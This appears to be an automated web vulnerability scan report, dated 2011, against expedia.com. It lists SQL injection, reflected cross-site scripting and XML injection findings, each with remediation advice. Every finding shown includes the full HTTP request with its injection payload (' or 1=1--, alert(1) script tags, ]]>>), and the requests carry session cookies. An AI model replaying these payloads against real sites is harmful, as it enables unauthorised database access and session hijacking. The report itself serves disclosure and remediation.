XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, expedia.com

SQL injection vulnerabilities arise when user-controllable data is incorporated into database SQL queries in an unsafe manner. An attacker can supply crafted input to break out of the data context in which their input appears and interfere with the structure of the surrounding query.

Various attacks can be delivered via SQL injection, including reading or modifying critical application data, interfering with application logic, escalating privileges within the database and executing operating system commands.

Remediation background

The most effective way to prevent SQL injection attacks is to use parameterised queries (also known as prepared statements) for all database access. This method uses two steps to incorporate potentially tainted data into SQL queries: first, the application specifies the structure of the query, leaving placeholders for each item of user input; second, the application specifies the contents of each placeholder. Because the structure of the query has already defined in the first step, it is not possible for malformed data in the second step to interfere with the query structure. You should review the documentation for your database and application platform to determine the appropriate APIs which you can use to perform parameterised queries. It is strongly recommended that you parameterise every variable data item that is incorporated into database queries, even if it is not obviously tainted, to prevent oversights occurring and avoid vulnerabilities being introduced by changes elsewhere within the code base of the application.

You should be aware that some commonly employed and recommended mitigations for SQL injection vulnerabilities are not always effective:

One common defence is to double up any single quotation marks appearing within user input before incorporating that input into a SQL query. This defence is designed to prevent malformed data from terminating the string in which it is inserted. However, if the data being incorporated into queries is numeric, then the defence may fail, because numeric data may not be encapsulated within quotes, in which case only a space is required to break out of the data context and interfere with the query. Further, in second-order SQL injection attacks, data that has been safely escaped when initially inserted into the database is subsequently read from the database and then passed back to it again. Quotation marks that have been doubled up initially will return to their original form when the data is reused, allowing the defence to be bypassed.
Another often cited defence is to use stored procedures for database access. While stored procedures can provide security benefits, they are not guaranteed to prevent SQL injection attacks. The same kinds of vulnerabilities that arise within standard dynamic SQL queries can arise if any SQL is dynamically constructed within stored procedures. Further, even if the procedure is sound, SQL injection can arise if the procedure is invoked in an unsafe manner using user-controllable data.

1.1. http://www.expedia.com/daily/common/moreinfo.asp [trl parameter] next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/daily/common/moreinfo.asp

Issue detail

The trl parameter appears to be vulnerable to SQL injection attacks. The payload 89842498'%20or%201%3d1--%20 was submitted in the trl parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

POST /daily/common/moreinfo.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
Origin: http://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0
Content-Length: 1023

BundleType=1&WT=Home&bFfstAB=&bFfstDefault=&bFfst=&FCity=Austin%2C+TX+%28AUS-Austin-Bergstrom+International+Airport%29&FTLA=AUS&TCity=Detroit%2C+MI+%28DTW-Wayne+County%29&TTLA=DTW&TCityId=&FDate=mm%2F
...[SNIP]...
rigName=&LsFlightDestTLA=&LsFlightDestName=&LsHotel=&LsAtlas=&LsAtlasRegionId=&LsFOverride=&LsTOverride=&taIndex=&taText=&taType=&taOn=1&srch=flt&typ=1&flx=on&fct=AUS&tct=DTW&mon=4-2011&trl=0%2C1%2C1089842498'%20or%201%3d1--%20&rad1=1&rse1=0&rch1=0

Response (redirected)

1.2. http://www.expedia.com/pub/agent.dll [rged parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The rged parameter appears to be vulnerable to SQL injection attacks. The payload 61613067%20or%201%3d1--%20 was submitted in the rged parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=1061613067%20or%201%3d1--%20&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

Response

1.3. http://www.expedia.com/pub/agent.dll [rgst parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The rgst parameter appears to be vulnerable to SQL injection attacks. The payload 12520755%20or%201%3d1--%20 was submitted in the rgst parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=112520755%20or%201%3d1--%20&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

Response

1.4. http://www.expedia.com/pubspec/scripts/eap.asp [TripLength parameter] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.expedia.com
Path:	/pubspec/scripts/eap.asp

Issue detail

The TripLength parameter appears to be vulnerable to SQL injection attacks. The payload 11976288'%20or%201%3d1--%20 was submitted in the TripLength parameter, and a database error message was returned. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.

The database appears to be Microsoft SQL Server.

Remediation detail

The application should handle errors gracefully and prevent SQL error messages from being returned in responses.

Request

GET /pubspec/scripts/eap.asp?GOTO=FLEXFLTSEARCH&Load=1&FrAirport=AUS&ToAirport=DTW&Month=5/1/2011&TripLength=0,1,1011976288'%20or%201%3d1--%20&NumAdult=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

Response (redirected)

2. Cross-site scripting (reflected) previous next
There are 3 instances of this issue:

http://www.expedia.com/pub/agent.dll [date1 parameter]
https://www.expedia.com/pub/agent.dll [selc parameter]
http://www.expedia.com/default.asp [MC1 cookie]

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

2.1. http://www.expedia.com/pub/agent.dll [date1 parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The value of the date1 request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5d43e'%3balert(1)//b4e195f70d4 was submitted in the date1 parameter. This input was echoed as 5d43e';alert(1)//b4e195f70d4 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=5d43e'%3balert(1)//b4e195f70d4&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0

Response

2.2. https://www.expedia.com/pub/agent.dll [selc parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The value of the selc request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 83116%3balert(1)//53dd1085a0b was submitted in the selc parameter. This input was echoed as 83116;alert(1)//53dd1085a0b in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /pub/agent.dll?qscr=logi&ussl=1&subl=0&lmde=256&selc=383116%3balert(1)//53dd1085a0b&rfrr=-54397&zz=1304739868950 HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=litn&&chms=114164&rfrr=-54397&zz=1304739862204
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; jscript=1; srvys=v.1%2C2%2C0; iEAPID=000,; JSESSION=cd179693-3938-4927-a337-d893911cc853; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3Dexpedia1%253D%252526pid%25253DHTX_LOGIN%252526pidt%25253D1%252526oid%25253Djavascript%2525253AISULGuest%25252528%25252529%252526ot%25253DA%2526undefinedtoJSONString%252CtoJSONString%253Dfunction%252520%252528%252529%25257Bvar%252520a%25253D%25255B%252522%25257B%252522%25255D%25252Cb%25252Ck%25252Cv%25253Bfunction%252520p%252528s%252529%25257Bif%252528b%252529%25257Ba.push%252528%252522%25252C%252522%252529%25253B%25257D%25250Aa.push%252528k.toJSONString%252528%252529%25252C%252522%25253A%252522%25252Cs%252529%25253Bb%25253Dtrue%25253B%25257D%25250Afor%252528k%252520in%252520this%252529%25257Bif%252528this.hasOwnProperty%252528k%252529%252529%25257Bv%25253Dthis%25255Bk%25255D%25253Bswitch%252528typeof%252520v%252529%25257Bcase%252522object%252522%25253Aif%252528v%252529%25257Bif%252528typeof%252520v.toJSONString%25253D%25253D%25253D%252522function%252522%252529%25257Bp%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257Delse%25257Bp%252528%252522null%252522%252529%25253B%25257D%25250Abreak%25253Bcase%252522string%252522%25253Acase%252522number%252522%25253Acase%252522boolean%252522%25253Ap%252528v.toJSONString%252528%252529%252529%25253B%25257D%25257D%25257D%25250Aa.push%252528%252522%25257D%252522%252529%25253Breturn%252520a.join%252528%252522%252522%252529%25253B%25257D%3B; s1=`0`minfo=v.5,EX01068F4DDA$F0$24$DD$0C$3E$0C$2F$1E$C5mR$39$18$13mj$26X$82$16u$F6$EC$5F$9E$C2$5C$C2$27$34$5B$7D$FC$35$F4$0D$2C$8E$21E6L$A4RS$B1$CF9`accttype=v.2,8,1,EX01191EC1D2$F0$24$DD$0C$23$0C$37$1E$CDmZ$39$19$14m$60$26X$83$17$7C$F4$DE$5F$9E`user=v.8,0,EX01CED44CE7p$B7203000$8B$27$E96$B8$60$9D$0D$B8$60$9D$0D$B8$60$9D$0D10001000$1E810$2302!50$9F9o$98X!2$3F$BC$D6$EF$B2u!e02000`378; p1=`gacct=v.1,1,215819496`tpid=v.1,1`group=v.1,0`linfo=v.4,Guest|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`adinf=v.1,215819505|999|1|874F787A276C|||`141

Response

2.3. http://www.expedia.com/default.asp [MC1 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.expedia.com
Path:	/default.asp

Issue detail

The value of the MC1 cookie is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9b6b0"><script>alert(1)</script>d8dba5a2447 was submitted in the MC1 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /default.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: p1=`tpid=v.1,1`11; ipsnf3=v.3|US|1|511|washington; MC1=9b6b0"><script>alert(1)</script>d8dba5a2447; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 68427
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 22:34:24 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 68427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<COMMENT TITLE="MO
...[SNIP]...
<iframe src="http://fls.doubleclick.net/activityi;src=2588783;type=nausc547;cat=naush134;u=9b6b0"><script>alert(1)</script>d8dba5a2447;ord=2733880877494.81?" width="1" height="1" frameborder="0" style="position:absolute;">
...[SNIP]...

3. XML injection previous next
There are 17 instances of this issue:

http://www.expedia.com/daily/common/moreinfo.asp [mon parameter]
http://www.expedia.com/pub/agent.dll [hfnm parameter]
https://www.expedia.com/pub/agent.dll [COOKIECHECK cookie]
https://www.expedia.com/pub/agent.dll [JSESSION cookie]
https://www.expedia.com/pub/agent.dll [MC1 cookie]
https://www.expedia.com/pub/agent.dll [U9Z5 cookie]
https://www.expedia.com/pub/agent.dll [aspp cookie]
https://www.expedia.com/pub/agent.dll [bn_u cookie]
https://www.expedia.com/pub/agent.dll [hfnm parameter]
https://www.expedia.com/pub/agent.dll [iEAPID cookie]
https://www.expedia.com/pub/agent.dll [ipsnf3 cookie]
https://www.expedia.com/pub/agent.dll [jscript cookie]
https://www.expedia.com/pub/agent.dll [p1 cookie]
https://www.expedia.com/pub/agent.dll [s1 cookie]
https://www.expedia.com/pub/agent.dll [s_sess cookie]
https://www.expedia.com/pub/agent.dll [s_vi cookie]
https://www.expedia.com/pub/agent.dll [srvys cookie]

Issue background

XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML metacharacters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application's logic, to perform unauthorised actions or access sensitive data.

This kind of vulnerability can be difficult to detect and exploit remotely; you should review the application's response, and the purpose which the relevant input performs within the application's functionality, to determine whether it is indeed vulnerable.

Issue remediation

The application should validate or sanitise user input before incorporating it into an XML document or SOAP message. It may be possible to block any input containing XML metacharacters such as < and >. Alternatively, these characters can be replaced with the corresponding entities: < and >.

3.1. http://www.expedia.com/daily/common/moreinfo.asp [mon parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.expedia.com
Path:	/daily/common/moreinfo.asp

Issue detail

The mon parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the mon parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /daily/common/moreinfo.asp HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/default.asp
Cache-Control: max-age=0
Origin: http://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; s1=`user=v.8,0,EX01D44B82B4$F4$B5201000I$27$E96!G0.!5010$2302!50$5C$E9$88i$97$D0$2D$37!4$FF!e02000`95; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`104; srvys=v.1%2C2%2C0
Content-Length: 1023

BundleType=1&WT=Home&bFfstAB=&bFfstDefault=&bFfst=&FCity=Austin%2C+TX+%28AUS-Austin-Bergstrom+International+Airport%29&FTLA=AUS&TCity=Detroit%2C+MI+%28DTW-Wayne+County%29&TTLA=DTW&TCityId=&FDate=mm%2F
...[SNIP]...
gTLA=&LsFlightOrigName=&LsFlightDestTLA=&LsFlightDestName=&LsHotel=&LsAtlas=&LsAtlasRegionId=&LsFOverride=&LsTOverride=&taIndex=&taText=&taType=&taOn=1&srch=flt&typ=1&flx=on&fct=AUS&tct=DTW&mon=4-2011]]>>&trl=0%2C1%2C10&rad1=1&rse1=0&rch1=0

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
P3P: policyref="/w3c/p3p.xml", CP="CAO DSP IND COR ADM CONo CUR CUSi DEV PSA PSD DELi OUR COM NAV PHY ONL PUR UNI"
Cteonnt-Length: 34651
Content-Type: text/html; Charset=iso-8859-1
Cache-Control: private
Date: Fri, 06 May 2011 23:21:15 GMT
Connection: close
Vary: Accept-Encoding
Content-Length: 34651

<html>
<head>
<title>Expedia.com</title>

<link rel="stylesheet" type="text/css" href="/daily/styles/main.css"></link>
<style>
.pageHeading {font-size:20px;font-family:Arial;color:#CC6600;f
...[SNIP]...
<a href="http://www.expediaaffiliate.com/private-label-xml.html" onclick="xp.nav.trackAnalytics(this,'a','Footer:All:PartnerService')">
...[SNIP]...

3.2. http://www.expedia.com/pub/agent.dll [hfnm parameter] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	http://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The hfnm parameter appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the hfnm parameter. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

GET /pub/agent.dll?qscr=cach&hfnm=jstooltipi.htx]]>>&flag=j&nojs=1&zkey=1010331160&zz=5 HTTP/1.1
Host: www.expedia.com
Proxy-Connection: keep-alive
Referer: http://www.expedia.com/pub/agent.dll?qscr=flex&subm=1&city=AUS&citd=DTW&date1=&mnth=5/1/2011&rgst=1&rged=10&fxst=0&load=1&cAdu=1&rfrr=-429
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ipsnf3=v.3|US|1|511|washington; MC1=GUID=80312807C795402E93C5016D2A2A3E1B; COOKIECHECK=1; aspp=v.1,0||||||||||||; aspp=v.1,0||||||||||||; s_vi=[CS]v1|26E23BA0850106CA-6000010280013092[CE]; bn_u=5368708931669622224; U9Z5=3JobJP3Sc0j1DW1jnIUl_HAiBkCEBwVqjg-T9-jxLszF1k_aJfr34tg; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; jscript=1; srvys=v.1%2C2%2C0; s1=`user=v.8,0,EX01528414FE$F4$B5202000X$27$E96$32i$A00$32i$A00$32i$A001000$31000$1E310$2302!50$EDIs$A8$FB$27$95$E4$82$AB$89$FB!e02000`131; p1=`tpid=v.1,1`accttype=v.2,3,1,EX01833E44F8$E8$24$DD$0C$AB$A2$18$37$25$18$F1$B6$8Ak$16$E6$24i$5B$39$8B$91H`linfo=v.4,|0|0|255|1|0||||||||0|0|0||0|0|0|-1|-1`airp=v.1,AUS`gacct=v.1,1,215819496`188

Response

3.3. https://www.expedia.com/pub/agent.dll [COOKIECHECK cookie] previous next

Summary

Severity:	Medium
Confidence:	Tentative
Host:	https://www.expedia.com
Path:	/pub/agent.dll

Issue detail

The COOKIECHECK cookie appears to be vulnerable to XML injection. The payload ]]>> was appended to the value of the COOKIECHECK cookie. The application's response indicated that this input may have caused an error within a server-side XML or SOAP parser, suggesting that the input has been inserted into an XML document or SOAP message without proper sanitisation.

Request

POST /pub/agent.dll HTTP/1.1
Host: www.expedia.com
Connection: keep-alive
Referer: https://www.expedia.com/pub/agent.dll?qscr=logi&hsuc=&fram=&uurl=qscr%3Dlitn%26&ussl=&uact=4&slgn=&zz=1304739350624
Cache-Control: max-age=0
Origin: https://www.expedia.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.60 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
